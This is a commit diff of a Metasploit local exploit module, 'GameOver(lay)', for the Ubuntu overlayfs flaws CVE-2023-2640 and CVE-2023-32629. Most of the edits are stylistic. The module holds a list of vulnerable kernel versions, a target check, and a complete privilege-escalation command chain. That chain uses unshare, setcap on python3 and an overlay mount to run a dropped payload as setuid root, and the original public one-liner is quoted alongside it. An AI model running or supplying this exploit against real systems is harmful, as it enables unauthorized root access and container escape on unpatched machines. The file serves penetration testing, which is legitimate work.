1
1
class MetasploitModule < Msf ::Exploit ::Local
2
-
2
+
3
3
prepend Msf ::Exploit ::Remote ::AutoCheck
4
4
include Msf ::Post ::Linux ::System
5
5
include Msf ::Post ::Linux ::Kernel
6
6
include Msf ::Post ::File
7
- include Msf ::Exploit ::FileDropper
7
+ include Msf ::Exploit ::FileDropper
8
8
include Msf ::Exploit ::CmdStager
9
9
10
10
def initialize ( info = { } )
@@ -13,14 +13,14 @@ def initialize(info = {})
13
13
info ,
14
14
'Name' => 'GameOver(lay) Privilege Escalation and Container Escape' ,
15
15
'Description' => %q{
16
- This module exploits the use of unsafe functions in a number of Ubuntu kernels
17
- utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux
18
- kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent
19
- changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is
20
- called during ovl_do_setxattr without calling the intermediate safety function
21
- vfs_setxattr. Ultimatly this module allows for root access to be achieved by
22
- writing setuid capabilities to a file which are not santiized after being unioned
23
- with the upper mounted directory.
16
+ This module exploits the use of unsafe functions in a number of Ubuntu kernels
17
+ utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux
18
+ kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent
19
+ changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is
20
+ called during ovl_do_setxattr without calling the intermediate safety function
21
+ vfs_setxattr. Ultimatly this module allows for root access to be achieved by
22
+ writing setuid capabilities to a file which are not santiized after being unioned
23
+ with the upper mounted directory.
24
24
} ,
25
25
'License' => MSF_LICENSE ,
26
26
'Author' => [
@@ -40,9 +40,9 @@ def initialize(info = {})
40
40
[ 'CVE' , '2023-32629' ] ,
41
41
[ 'CVE' , '2023-2640' ]
42
42
] ,
43
- 'Targets' => [ [ 'Linux' , { } ] ] ,
44
- 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
45
- 'CmdStagerFlavor' => 'bourne'
43
+ 'Targets' => [ [ 'Linux' , { } ] ] ,
44
+ 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
45
+ 'CmdStagerFlavor' => 'bourne'
46
46
)
47
47
)
48
48
register_options [
@@ -54,21 +54,21 @@ def initialize(info = {})
54
54
def vuln
55
55
# Keys are ubuntu versions, vals is list of vunerable kernels
56
56
{
57
- "Lunar Lobster" : %w[ 6.2.0 ] , # Ubuntu 23.04
58
- "Kinetic Kudu" : %w[ 5.19.0 ] , # Ubuntu 22.10
59
- "Jammy Jellyfish" : %w[ 5.19.0 6.2.0 ] , # Ubuntu 22.04 LTS
60
- "Focal Fossa" : %w[ 5.4.0 ] , # Ubuntu 20.04 LTS
61
- "Bionic Beaver" : %w[ 5.4.0 ] , # Ubuntu 18.04 LTS
62
- } . transform_keys! { | k | k . to_s } # w/o this key will be :"Bionic Beaver"
63
- end
57
+ "Lunar Lobster" : %w[ 6.2.0 ] , # Ubuntu 23.04
58
+ "Kinetic Kudu" : %w[ 5.19.0 ] , # Ubuntu 22.10
59
+ "Jammy Jellyfish" : %w[ 5.19.0 6.2.0 ] , # Ubuntu 22.04 LTS
60
+ "Focal Fossa" : %w[ 5.4.0 ] , # Ubuntu 20.04 LTS
61
+ "Bionic Beaver" : %w[ 5.4.0 ] # Ubuntu 18.04 LTS
62
+ } . transform_keys! ( & : to_s) # w/o this key will be :"Bionic Beaver"
63
+ end
64
64
65
65
def check
66
66
fail_with ( Failure ::NotVulnerable , 'Target is not linux' ) unless session . platform == 'linux'
67
67
68
- # Must be Ubuntu
69
- fail_with ( Failure ::NotVulnerable , " Target is not Ubuntu." ) unless kernel_version =~ /[uU]buntu/
68
+ # Must be Ubuntu
69
+ fail_with ( Failure ::NotVulnerable , ' Target is not Ubuntu.' ) unless kernel_version =~ /[uU]buntu/
70
70
71
- os = cmd_exec " cat /etc/os-release"
71
+ os = cmd_exec ' cat /etc/os-release'
72
72
73
73
# grab codename i.e. Focal Fossa
74
74
codename = os . scan ( /\( \w * \w *\) / ) [ 0 ]
@@ -87,18 +87,18 @@ def check
87
87
# will this return in correct context??
88
88
# could scan kernel to prevent looping if return below doesn't work
89
89
vuln [ codename ] . each do |version |
90
- if kernel . include? version
91
- return CheckCode ::Vulnerable "#{ codename } with #{ kernel } kernel is vunerable"
92
- end
90
+ if kernel . include? version
91
+ return CheckCode ::Vulnerable "#{ codename } with #{ kernel } kernel is vunerable"
92
+ end
93
93
end
94
94
end
95
95
96
- def execute_command ( cmd , opts = { } )
97
- payload_file = datastore [ 'PayloadFilename' ]
96
+ def execute_command ( _cmd , _opts = { } )
97
+ datastore [ 'PayloadFilename' ]
98
98
99
- payload_dir = datastore [ 'PayloadDir' ]
99
+ datastore [ 'PayloadDir' ]
100
100
101
- directories = %w[ l u w m ] . flat_map { |e | "/tmp/main/#{ e } " }
101
+ directories = %w[ l u w m ] . flat_map { |e | "/tmp/main/#{ e } " }
102
102
103
103
# Should we make sure directory doesn't already exist?
104
104
@@ -108,20 +108,18 @@ def execute_command(cmd, opts = {})
108
108
end
109
109
# register_dir_for_cleanup "/tmp/main/"
110
110
111
+ write_file '/tmp/main/marv' , generate_payload_exe
112
+ # works move test to low, run unshare mount set cap, shell
111
113
112
- write_file "/tmp/main/marv" , generate_payload_exe
113
- #works move test to low, run unshare mount set cap, shell
114
-
115
- print_status "Starting new namespace, and running exploit..."
114
+ print_status 'Starting new namespace, and running exploit...'
116
115
117
- hack = "unshare -rm sh -c \" cp /u*/b*/p*3 /tmp/main/l/; setcap cap_setuid+eip /tmp/main/l/python3; mount -t overlay overlay -o rw,lowerdir=/tmp/main/l,upperdir=/tmp/main/u,workdir=/tmp/main/w /tmp/main/m && touch /tmp/main/m/*\" && /tmp/main/u/python3 -c 'import os;os.setuid(0);os.system(\" chmod 4755 /tmp/main/marv && /tmp/main/marv\" )' "
116
+ hack = "unshare -rm sh -c \" cp /u*/b*/p*3 /tmp/main/l/; setcap cap_setuid+eip /tmp/main/l/python3; mount -t overlay overlay -o rw,lowerdir=/tmp/main/l,upperdir=/tmp/main/u,workdir=/tmp/main/w /tmp/main/m && touch /tmp/main/m/*\" && /tmp/main/u/python3 -c 'import os;os.setuid(0);os.system(\" chmod 4755 /tmp/main/marv && /tmp/main/marv\" )' "
118
117
119
- # g1vi original
120
- # "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
118
+ # g1vi original
119
+ # "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
121
120
print_status "Running exploit: '#{ hack } ' "
122
121
puts cmd_exec_with_result ( hack )
123
-
124
- end
122
+ end
125
123
126
124
def exploit
127
125
execute_cmdstager
0 commit comments